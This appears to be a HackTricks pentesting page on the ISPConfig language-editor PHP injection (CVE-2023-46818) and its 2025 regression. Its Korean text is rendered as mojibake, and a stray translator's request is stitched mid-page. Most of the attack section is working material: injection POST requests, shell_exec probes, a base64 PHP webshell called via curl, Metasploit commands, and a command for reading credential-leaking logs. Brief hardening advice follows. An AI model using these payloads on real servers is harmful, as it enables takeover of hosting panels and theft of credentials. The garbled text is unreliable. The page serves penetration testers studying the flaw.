ISPConfig
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
๊ฐ์
ISPConfig๋ ์คํ ์์ค ํธ์คํ ์ปจํธ๋กค ํจ๋์ ๋๋ค. ๊ตฌ๋ฒ์ 3.2.x ๋น๋์๋ ์ธ์ด ํ์ผ ํธ์ง๊ธฐ ๊ธฐ๋ฅ์ด ํฌํจ๋์ด ์์์ผ๋ฉฐ, ํด๋น ๊ธฐ๋ฅ์ด ์ํผ ๊ด๋ฆฌ์์๊ฒ ํ์ฑํ๋์ด ์์ ๊ฒฝ์ฐ ์๋ชป๋ ๋ฒ์ญ ๋ ์ฝ๋๋ฅผ ํตํด ์์์ PHP ์ฝ๋ ์ฃผ์ ์ ํ์ฉํ์ต๋๋ค. ์ด๋ ์น ์๋ฒ ์ปจํ ์คํธ์์ RCE๋ฅผ ์ด๋ํ ์ ์์ผ๋ฉฐ, PHP๊ฐ ์ด๋ป๊ฒ ์คํ๋๋์ง์ ๋ฐ๋ผ ๊ถํ ์์น์ผ๋ก ์ด์ด์ง ์ ์์ต๋๋ค.
์ฃผ์ ๊ธฐ๋ณธ ๊ฒฝ๋ก:
- ์น ๋ฃจํธ๋
php -S๋ก ์ ๊ณต๋๊ฑฐ๋ Apache/nginx๋ฅผ ํตํด ์ ๊ณต๋ ๋/var/www/ispconfig์ ์๋ ๊ฒฝ์ฐ๊ฐ ๋ง์ต๋๋ค. - ๊ด๋ฆฌ์ UI๋ HTTP(S) vhost์์ ์ ๊ทผ ๊ฐ๋ฅํ๋ฉฐ(๋๋ก๋ localhost์๋ง ๋ฐ์ธ๋ฉ๋์ด ์์ ์ ์์ผ๋; ํ์ํ๋ฉด SSH port-forward๋ฅผ ์ฌ์ฉํ์ธ์).
ํ: ํจ๋์ด ๋ก์ปฌ์ ๋ฐ์ธ๋ฉ๋์ด ์์ผ๋ฉด(์: 127.0.0.1:8080), ํฌ์๋ฉํ์ธ์:
ssh -L 9001:127.0.0.1:8080 user@target
# then browse http://127.0.0.1:9001
Language editor PHP code injection (CVE-2023-46818)
- Affected: ISPConfig up to 3.2.11 (fixed in 3.2.11p1)
- Preconditions:
- Login as the built-in superadmin account
admin(other roles are not affected according to the vendor) - Language editor must be enabled:
admin_allow_langedit=yesin/usr/local/ispconfig/security/security_settings.ini
- Login as the built-in superadmin account
- Impact: ์ธ์ฆ๋ ๊ด๋ฆฌ์๋ ์ธ์ด ํ์ผ์ ์ฐ์ฌ ์ ํ๋ฆฌ์ผ์ด์ ์ ์ํด ์คํ๋๋ ์์์ PHP๋ฅผ ์ฃผ์ ํ ์ ์์ผ๋ฉฐ, ์น ์ปจํ ์คํธ์์ RCE๋ฅผ ๋ฌ์ฑํฉ๋๋ค
References: NVD entry CVE-2023-46818 and vendor advisory link in the References section below.
Manual exploitation flow
- Open/create a language file to obtain CSRF tokens
์ฒซ ๋ฒ์งธ POST๋ฅผ ๋ณด๋ด ํผ์ ์ด๊ธฐํํ๊ณ HTML ์๋ต์์ CSRF ํ๋(csrf_id, csrf_key)๋ฅผ ํ์ฑํฉ๋๋ค. ์์ ์์ฒญ ๊ฒฝ๋ก: /admin/language_edit.php.
- Inject PHP via records[] and save
๋ ๋ฒ์งธ POST๋ฅผ ์ ์กํ์ฌ CSRF ํ๋์ ์ ์ฑ ๋ฒ์ญ ๋ ์ฝ๋๋ฅผ ํฌํจ์ํต๋๋ค. ์ต์ํ์ command-execution probes:
POST /admin/language_edit.php HTTP/1.1
Host: 127.0.0.1:9001
Content-Type: application/x-www-form-urlencoded
Cookie: ispconfig_auth=...
lang=en&module=admin&file=messages&csrf_id=<id>&csrf_key=<key>&records[]=<?php echo shell_exec('id'); ?>
Out-of-band ํ ์คํธ (ICMP ๊ด์ฐฐ):
records[]=<?php echo shell_exec('ping -c 1 10.10.14.6'); ?>
- ํ์ผ ์์ฑ ๋ฐ webshell ์ ๋ก๋
file_put_contents๋ฅผ ์ฌ์ฉํ์ฌ ์น์์ ์ ๊ทผ ๊ฐ๋ฅํ ๊ฒฝ๋ก(์: admin/) ์๋์ ํ์ผ์ ์์ฑํ์ธ์:
records[]=<?php file_put_contents('admin/pwn.txt','owned'); ?>
๊ทธ๋ฐ ๋ค์ POST ๋ณธ๋ฌธ์์ ๋ฌธ์ ๊ฐ ๋๋ ๋ฌธ์๋ฅผ ํผํ๊ธฐ ์ํด base64๋ฅผ ์ฌ์ฉํ ๊ฐ๋จํ webshell์ ์์ฑํ์ธ์:
records[]=<?php file_put_contents('admin/shell.php', base64_decode('PD9waHAgc3lzdGVtKCRfUkVRVUVTVFsiY21kIl0pIDsgPz4K')); ?>
ํด๋น ํ์ผ(src/network-services-pentesting/pentesting-web/ispconfig.md)์ ๋ด์ฉ์ ์ฌ๊ธฐ์ ๋ถ์ฌ ๋ฃ์ด ์ฃผ์ธ์. ๋ถ์ฌ ๋ฃ์ด ์ฃผ์๋ฉด Markdown/HTML ํ๊ทธยท๋งํฌยท๊ฒฝ๋ก๋ ๊ทธ๋๋ก ์ ์งํ๋ฉด์ ์์ด ๋ณธ๋ฌธ์ ํ๊ตญ์ด๋ก ๋ฒ์ญํด ๋๋ฆฌ๊ฒ ์ต๋๋ค.
curl 'http://127.0.0.1:9001/admin/shell.php?cmd=id'
PHP๊ฐ ๋ฃจํธ๋ก ์คํ๋๋ ๊ฒฝ์ฐ(์: root๊ฐ ์์ํ php -S 127.0.0.1:8080), ์ฆ์ root RCE๋ฅผ ํ๋ํฉ๋๋ค. ๊ทธ๋ ์ง ์์ผ๋ฉด ์น ์๋ฒ ์ฌ์ฉ์ ๊ถํ์ผ๋ก ์ฝ๋ ์คํ์ ์ป์ต๋๋ค.
2025 ํ๊ท (ISPConfig 3.3.0 / 3.3.0p1)
์ธ์ด ํธ์ง๊ธฐ ๋ฒ๊ทธ๊ฐ 3.3.0/3.3.0p1์์ ๋ค์ ๋ฐ์ํ์ผ๋ฉฐ 3.3.0p2์์ ์์ ๋์์ต๋๋ค. ์ ์ ์กฐ๊ฑด์ ๋ณ๊ฒฝ๋์ง ์์์ต๋๋ค(admin_allow_langedit ๋ฐ ๊ด๋ฆฌ์ ๋ก๊ทธ์ธ). ๋์ผํ ํจ์น์์ monitor XSS์ world-readable rotated logs ๋ฌธ์ ๋ ํด๊ฒฐ๋์์ต๋๋ค.
์ฐธ๊ณ :
- 3.3.0/3.3.0p1์์๋
/usr/local/ispconfig/interface/log/์๋์ world-readable rotated logs๊ฐ debug logging์ด ํ์ฑํ๋ ๊ฒฝ์ฐ ์๊ฒฉ ์ฆ๋ช ์ leakํ ์ ์์ต๋๋ค:
find /usr/local/ispconfig/interface/log -type f -perm -004 -name '*.gz' -exec zcat {} + | head
- Exploit ๋จ๊ณ๋ CVE-2023-46818๊ณผ ์ผ์นํฉ๋๋ค; 3.3.0p2๋ ์ธ์ด ํธ์ง ์ ์ ์ถ๊ฐ ๊ฒ์ฌ๋ฅผ ์ํํฉ๋๋ค.
Python PoC
๋ฐ๋ก ์ฌ์ฉํ ์ ์๋ exploit๋ token handling๊ณผ payload delivery๋ฅผ ์๋ํํฉ๋๋ค:
์คํ ์:
python3 cve-2023-46818.py http://127.0.0.1:9001 admin <password>
Metasploit ๋ชจ๋ (2025๋ 7์ ๊ณต๊ฐ)
Rapid7์ด exploit/linux/http/ispconfig_lang_edit_php_code_injection ๋ชจ๋์ ์ถ๊ฐํ์ผ๋ฉฐ, ์ ๊ณต๋ ๊ด๋ฆฌ์ ๊ณ์ ์ด system-config ๊ถํ์ ๊ฐ์ง๊ณ ์์ผ๋ฉด admin_allow_langedit๋ฅผ ์๋์ผ๋ก ํ์ฑํํ ์ ์์ต๋๋ค.
use exploit/linux/http/ispconfig_lang_edit_php_code_injection
set RHOSTS 10.10.10.50
set RPORT 8080
set USERNAME admin
set PASSWORD <admin_pass>
set TARGETURI /
run
ํด๋น ๋ชจ๋์ records[]๋ฅผ ํตํด base64๋ก ์ธ์ฝ๋ฉ๋ payload๋ฅผ ๊ธฐ๋กํ๊ณ ์ด๋ฅผ ์คํํ์ฌ PHP Meterpreter ๋๋ custom payload๋ฅผ ์ป์ต๋๋ค.
ํ๋๋
- ์๋ ๋ฌธ์ ์ ๋ํด์๋ 3.2.11p1 ์ด์์ผ๋ก ์ ๊ทธ๋ ์ด๋ํ๊ณ , 2025 ํ๊ท์ ๋ํด์๋ 3.3.0p2 ์ด์์ผ๋ก ์ ๊ทธ๋ ์ด๋ํ์ธ์.
- ์ธ์ด ํธ์ง๊ธฐ๋ ์๊ฒฉํ ํ์ํ์ง ์์ ํ ๋นํ์ฑํํ์ธ์:
admin_allow_langedit=no
- ํจ๋์ root๋ก ์คํํ์ง ๋ง์ธ์; PHP-FPM ๋๋ ์น ์๋ฒ๋ฅผ ๊ตฌ์ฑํ์ฌ ๊ถํ์ ๋ฎ์ถ๋๋ก ํ์ธ์
- ๋ด์ฅ๋
admin๊ณ์ ์ ๋ํด ๊ฐ๋ ฅํ ์ธ์ฆ์ ์ ์ฉํ์ธ์
์ฐธ๊ณ ์๋ฃ
- ISPConfig 3.2.11p1 Released (fixes language editor code injection)
- CVE-2023-46818 โ NVD
- bipbopbup/CVE-2023-46818-python-exploit
- HTB Nocturnal: Root via ISPConfig language editor RCE
- ISPConfig 3.3.0p2 Released โ Security Update
- CXSecurity WLB-2025070017 โ Metasploit module for ISPConfig language_edit.php
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


